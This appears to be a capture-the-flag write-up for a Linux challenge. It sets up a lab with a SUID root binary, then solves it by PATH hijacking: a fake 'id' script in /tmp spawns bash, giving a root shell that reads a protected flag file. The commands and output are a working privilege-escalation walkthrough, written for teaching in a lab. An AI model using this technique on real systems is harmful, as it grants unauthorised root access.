DSO NUS CTF - Insecure
Description
Someone once told me that SUID is a bad idea. Could you show me why?
This challenge server can be accessed here:
(Any one of the options below is fine) (Suggested access via ‘
nc’)
nc ctf-85ib.balancedcompo.site 9999
nc ctf-sn3y.balancedcompo.site 9999
nc ctf-rv6w.balancedcompo.site 9999
nc ctf-ptb1.balancedcompo.site 9999
nc ctf-f3jj.balancedcompo.site 9999
nc ctf-4q22.balancedcompo.site 9999
nc ctf-7jca.balancedcompo.site 9999
nc ctf-ea38.balancedcompo.site 9999
nc ctf-jfi4.balancedcompo.site 9999
nc ctf-ks5n.balancedcompo.site 9999Files (Any of the links are fine):
insecure*Debug the Pwn challenges locally on your system before connecting to the remote challenge server to exploit and get the flag.
Flag format conversion may have to be done for this challenge (Refer to notifications)
Recreating the environment
Note: Make sure to run the below commands as root.
1. Creating a fake flag
There was a file called flag.txt, which contained the flag and was located at the root directory so lets create it.
1
$ echo -n "DSO-NUS{FAKE_FLAG}" > /flag.txt
Make sure that no other users are able to read it.
1
$ chmod 700 /flag.txt
2. Installing the insecure binary
Download the insecure binary from any of the download links and copy it to the /bin directory.
1
$ cp /root/Downloads/insecure /bin/insecure
Assign the appropriate permissions and set the owner to root.
1
2
$ chown root:root /bin/insecure
$ chmod 755 /bin/insecure
Make sure to also set the SUID bit.
1
$ chmod u+s /bin/insecure
Verify that the permissions should look like this:
1
2
$ ls -al /bin/insecure
-rwsr-sr-x 1 root root 6848 Mar 5 09:35 /bin/insecure
3. Logging in as an unprivileged user
Create a new user that the contestants will privilege escalate from.
1
$ useradd -s /bin/bash unprivileged
Switch user to this new user before starting the challenge.
1
$ su unprivileged
Solution
After nc-ing to any one of the endpoints, we instantly get a shell as a low-privileged user.
1
2
unprivileged@kali:/$ id
uid=1001(unprivileged) gid=1001(unprivileged) groups=1001(unprivileged)
In the root directory, we see that there is a file called flag.txt but we did not have the permissions to read it.
1
2
3
4
unprivileged@kali:/$ ls -al /flag.txt
-rwx------ 1 root root 18 Mar 5 09:46 /flag.txt
unprivileged@kali:/$ cat /flag.txt
cat: /flag.txt: Permission denied
In the /bin directory, there was a binary called insecure, which did not seem like something that you normally see on Linux systems.
1
2
unprivileged@kali:/$ ls -al /bin/insecure
-rwsr-sr-x 1 root root 6848 Mar 5 09:35 /bin/insecure
We see that we have the permission to execute it so lets try executing it.
1
2
3
4
5
6
7
8
9
10
11
12
unprivileged@kali:/$ /bin/insecure
I am a SUID binary and can run in varying levels of privilege!
Now, I run in a less privileged context.
uid=1001(unprivileged) gid=1001(unprivileged) groups=1001(unprivileged)
Next, I wil run in a more privileged context.
uid=0(root) gid=1001(unprivileged) groups=1001(unprivileged)
Once I am done, as a good practice, I should return my privileges.
And I run in a less privileged context again.
uid=1001(unprivileged) gid=1001(unprivileged) groups=1001(unprivileged)
On closer inspection of the output, we can break down what it is actually doing:
- In the current low-privileged context, it runs the
idcommand. - It then shifts to a high-privileged context and runs the
idcommand again to show that it is running asroot. - It then shifts back to the low-privileged context and runs the
idcommand to show that it has returned back to the original context.
This is actually made possible due to the SUID bit that was set on the insecure binary which can be seen in the s in the permissions.
1
2
unprivileged@kali:/$ ls -al /bin/insecure
-rwsr-xr-x 1 root root 6848 Mar 5 09:35 /bin/insecure
The SUID bit allows other users to run the insecure binary as the owner of the file, which in this case is root.
To better understand the underlying implementation of the insecure binary, we can retrieve a copy of it from the download links provided and run the ltrace command to list out the library calls performed by the binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ltrace insecure
...
system("id"uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),133(scanner),141(kaboxer),998(docker)
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )
...
system("id"uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),133(scanner),141(kaboxer),998(docker)
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )
...
system("id"uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),133(scanner),141(kaboxer),998(docker)
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
We see that the id command was indeed being executed via the system() library call, but note that the path of the id command is not absolute. This means we can perform PATH injection to trick the system into running an id binary of our choice.
In the shell as the unprivileged user, create a file called id in the /tmp directory and enter /bin/bash into it.
1
unprivileged@kali:/$ echo "/bin/bash" > /tmp/id
Assign the appropriate permission to make sure any users are able to execute it.
1
unprivileged@kali:/$ chmod 777 /tmp/id
Now run the insecure binary but alter the PATH variable such that the system will look for the id binary from /tmp first.
1
2
3
4
5
unprivileged@kali:/$ PATH=/tmp:$PATH /bin/insecure
I am a SUID binary and can run in varying levels of privilege!
Now, I run in a less privileged context.
unprivileged@kali:/$
Enter exit and we will get a shell as root.
1
2
3
4
5
6
unprivileged@kali:/$ exit
exit
Next, I wil run in a more privileged context.
root@kali:/# /usr/bin/id
uid=0(root) gid=1001(unprivileged) groups=1001(unprivileged)
We can now read the contents of the flag.
1
2
root@kali:/# cat /flag.txt
DSO-NUS{FAKE_FLAG}